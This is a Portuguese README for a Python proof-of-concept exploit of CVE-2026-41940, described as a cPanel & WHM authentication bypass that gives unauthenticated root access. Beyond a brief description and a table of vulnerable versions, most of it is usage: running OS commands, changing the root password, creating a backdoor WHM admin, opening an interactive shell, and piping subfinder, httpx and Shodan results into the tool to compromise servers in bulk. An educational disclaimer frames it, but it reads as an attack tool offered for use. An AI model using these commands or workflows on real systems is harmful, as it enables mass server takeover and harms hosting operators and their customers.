PoC em Python que explora o CVE-2026-41940, um bypass de autenticação do cPanel & WHM que permite acesso root não autenticado ao WHM, com comandos de varredura e shell de pós-exploração.
⚠ Esta ferramenta foi criada exclusivamente para fins educacionais ou de bug bounty. O uso não autorizado fora de ambientes controlados é estritamente proibido.
Uma ferramenta para explorar a CVE-2026-41940, uma falha crítica de bypass de autenticação no cPanel & WHM (CVSS 10.0), permitindo que atacantes não autenticados obtenham acesso root ao WHM injetando sequências CRLF em arquivos de sessão do lado do servidor através do cabeçalho Authorization — sem necessidade de credenciais.
A CVE-2026-41940, em termos gerais, é explorada através de uma falha na forma como o sistema lida com sessões de autenticação no cPanel/WHM. O ataque normalmente começa com uma requisição normal à interface de login, onde a aplicação inicializa prematuramente uma sessão antes de validar completamente as credenciais do usuário. Devido ao tratamento inadequado de entradas relacionadas à sessão, certas estruturas de entrada criadas ou inesperadas podem alterar a forma como os dados da sessão são armazenados ou interpretados pelo servidor.
| Versão | Vulnerável | Corrigida |
|---|
| 110.x | ≤ 11.110.0.96 | 11.110.0.97 |
| 118.x | ≤ 11.118.0.62 | 11.118.0.63 |
| 126.x | ≤ 11.126.0.53 | 11.126.0.54 |
| 132.x | ≤ 11.132.0.28 | 11.132.0.29 |
| 134.x | ≤ 11.134.0.19 | 11.134.0.20 |
| 136.x | ≤ 11.136.0.4 | 11.136.0.5 |
git clone https://github.com/yasouxken/CVE-2026-41940-PoC
cd CVE-2026-41940-PoC
# Windows
python cve.py
# MacOS/Linux
python3 cve.py
A ferramenta espera que um domínio alvo seja especificado.
Modo de alvo único:
python cve.py -u https://target1.com:2083
Você também pode escanear a partir do arquivo target.txt (crie-o):
python cve.py -l target.txt -t 50 -o result.json
Comandos disponíveis:
python cve.py -u https://victim1.com:2083 # scan de alvo único
python cve.py info -u https://victim1.com:2083 # Recupera informações do sistema (versão, carga, uso de disco).
python cve.py host -u https://victim1.com:2083 # Recupera o hostname do servidor alvo.
# Lista todas as contas no servidor
python cve.py list -u https://target.com:2087
# Comando de SO
python cve.py cmd -u https://target.com:2087 --cmd "id;whoami;uname -a"
python cve.py cmd -u https://target.com:2087 --cmd "ls /home"
# Obter informações do servidor (hostname, disco, host MySQL)
python cve.py info -u https://target.com:2087
# Alterar senha do root
python cve.py passwd -u https://target.com:2087 --passwd 'NewPassword1423!!@'
# Shell WHM interativo
python cve.py shell -u https://target.com:2087
# subfinder → httpx → cPanelSniper
subfinder -d victim.com -silent | \
httpx -silent -ports 2085,2086 -threads 50 | \
python cve.py scan -t 40 -o results.json
# A partir de lista de escopo
cat scope.txt | \
httpx -silent -ports 2085,2086 -threads 100 | \
python cve.py scan -t 30 -o results.json
# Resultados do Shodan
shodan search --fields ip_str,port 'title:"WHM Login"' | \
awk '{print "https://"$1":"$2}' | \
python cve.py -t 30 -o shodan_results.json
# Múltiplas fontes combinadas
{ subfinder -d victim.com -silent; cat extra.txt; } | \
httpx -silent -ports 2087 | \
python cve.py -t 20 --action list
Após uma execução bem-sucedida, você pode abrir um shell WHM interativo:
python cve.py shell -u
| Comando | Descrição |
|---|---|
id | Mostrar ID do usuário |
hostname | Obter hostname do servidor |
accounts | Listar todas as contas de usuário |
info | Carga, disco, host MySQL, versão |
cat <path> | Ler conteúdo do arquivo |
exec <cmd> | Executar comando de SO |
newadmin <user> <pass> | Criar admin WHM backdoor |
passwd <pass> | Alterar senha do root |
l [path] | Listar diretório |
help | Mostrar todos os comandos |
exit | Sair do modo shell |
usage: cve.py [-h] [-u URL] [-l LIST] [--hostname HOSTNAME]
[-t THREADS] [--timeout TIMEOUT] [--rate-limit N]
[--action ACTION] [--passwd PASS] [--cmd CMD]
[--new-user USER] [--new-domain DOMAIN]
[-o OUTPUT]
Target:
-u, --url URL Single target URL (e.g. https://host:2087)
-l, --list LIST File with URLs (one per line)
--hostname HOSTNAME Override canonical Host header (auto-discovered)
Scan:
-t, --threads N Concurrent threads (default: 10)
--timeout N Request timeout seconds (default: 15)
--rate-limit N Delay between targets (default: 0)
--force Skip cPanel detection check
Post-Exploit:
--action ACTION Action: list | passwd | cmd | exec | info |
version | shell | adduser
--passwd PASS New root password (--action passwd)
--cmd CMD OS command (--action cmd/exec)
--new-user USER New cPanel username (--action adduser)
--new-domain DOMAIN New cPanel domain (--action adduser)
Output:
-o, --output FILE Save results to JSON file
--no-color Disable ANSI colors
⚠ Esta ferramenta foi criada exclusivamente para fins educacionais ou de bug bounty. O uso não autorizado fora de ambientes controlados é estritamente proibido.